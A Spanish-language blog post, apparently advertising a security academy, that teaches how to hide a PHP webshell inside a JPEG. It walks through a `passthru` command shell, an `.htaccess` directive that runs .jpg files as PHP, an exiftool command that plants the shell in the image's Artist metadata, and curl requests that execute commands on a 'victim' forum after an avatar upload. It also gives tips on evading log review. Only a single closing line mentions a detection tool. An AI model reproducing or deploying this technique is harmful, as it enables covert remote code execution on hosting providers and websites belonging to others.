Seguro que algun@s ya estarán riendo con el título del artículo y recuerden el juego que ha dado la famosa imágen del borriquito de Peret en las clases. Ahora, lo hemos usado con una combinación explosiva de una webshell y lo hemos camuflado bajo una inocente imágen en sus metadatos!!!

En cualquier ISP (sobre todo buscamos hostings compartidos, foros que nos dejen subir avatares, páginas para subir nuestro logo, etc...) es posible modificar el comportamiento asociado a las extensiones que tienen los ficheros. Por ejemplo, si tenemos una extensión de tipo ".jpg", el servidor HTTP normalmente lo interpretará como "enviar imágen jpeg" sin procesar nada. Hasta hace poco tiempo, -aunque sigue habiendo muchos sitios todavía que lo admiten-, se ha embebido el código (por ejemplo php aunque podría ser otro como aspx) en vez de la imágen.

A lo bruto vamos a crear un fichero llamado "borriquito.jpg" (ojo con la extensión) con el siguiente código:

<?php
        passthru($_GET['cmd']);
?>
					

Sin embargo, al intentar enviarlo a un cliente o visualizarlo como imágen, no podremos ver nada pues no contiene ni los datos básicos que definen un fichero JPEG. Pero, y si consiguieramos que en vez de asociar la extensión JPG a un fichero de imágen fuera procesado como un PHP... Bastará con incluir (p.e. en el fichero .htaccess) la siguiente directiva:

AddType application/x-httpd-php .jpg
					

Con lo cual, cuando visitemos la URL de nuestra víctima:

http://www.victima.com/imagenes/borriquito.jpg?cmd=ls%20-la
(si nuestro servidor es *nix ó DIR%20/AH en Windows)
					

Ahora en realidad será procesado como un PHP y se ejecutará desde el shell con los privilegios del usuario que ejecuta el servidor HTTP el comando "ls -la" o "DIR /AH". Sin embargo, si el administrador revisa sus logs (están para algo más que ocupar espacio en el disco duro), verá claramente la petición que hemos hecho y no es normal que se llame a una imágen con un GET con argumentos...

Otras veces, la webshell se añade a la imágen a partir del final de los datos reales, etc... pero es bastante fácil detectarlo por un webmaster que se preocupe de la seguidad de sus usuari@s.

La "nueva" idea, será insertar código PHP en los metadatos de la imágen para que sean procesados y no se detecte "a simple vista" ya que la imágen seguirá siendo una imágen + PHP oculto para poder ser visualizada o procesada...

Lo primero, será crear, copiar, bajar una imágen con la que poder trabajar (en nuestro caso, el famoso borriquito de Peret de http://lewebpedagogique.com/hispadictos/files/2009/02/peret-borriquito.jpg). Luego, con cualquier editor de metadatos (en nuestro caso preferimos exiftool que podeis descargar de http://www.sno.phy.queensu.ca/~phil/exiftool/) podremos comprobar los metadatos asociados a la imágen con la que vamos a trabajar:

exiftool -a -u -g1 peret-borriquito.jpg

Observamos que no tiene "nada extraño". Googleando un poco, podemos encontrar las especificaciones de los metadatos y podremos añadirle metadatos estándard en campos como Comment, Artist, Copyright, Software, Make, Model, etc...

Ahora, con la herramienta, vamos a añadir en el campo "Artist" el siguiente código:

exiftool -artist="<?php passthru($_POST['cmd']); __halt_compiler();" peret-borriquito.jpg
					

Ni siquiera es necesario cerrar el PHP!!! Notar como ahora, la petición será con un comando POST más difícil de detectar. Vamos a subirlo como nuestro avatar a un superforo y probamos, por ejemplo:

curl -d cmd=id http://www.victima.com/imagenes/borriquito.jpg
					

Si hemos tenido éxito, comprobaremos que en la salida de curl veremos, a continuación de los datos iniciales de la imágen, el comando solicitado:

...JFIF.....uid=44(www-data) gid=44(www-data) groups=44(www-data)

Es decir, el comando "id" ha funcionado. Y si ponermos la URL de la imágen, veremos el famoso borriquito pero no el "contenido de sus alforjas" ;-D

Podemos combinar ésta técnica con un HTTP_USER_AGENT "personalizado" para poder activar la webshell a petición, etc... Combinando ésta técnica con el proyecto de software de fuentes abiertas Weevely (http://epinna.github.com/Weevely/) tendremos unas vacaciones muy divertidas!!!

Recuerda que en Academia MADESYP nos encontramos impartiendo Cursos especializados en Seguridad Informática donde realizamos y establecemos las contramedidas para las pruebas de concepto como el proyecto LMD (http://www.rfxn.com/projects/linux-malware-detect/) que podrá buscar de forma automática éstos datos y mucho más...

El resto es cosa vuestra. Ser buenos y felices maldades!!!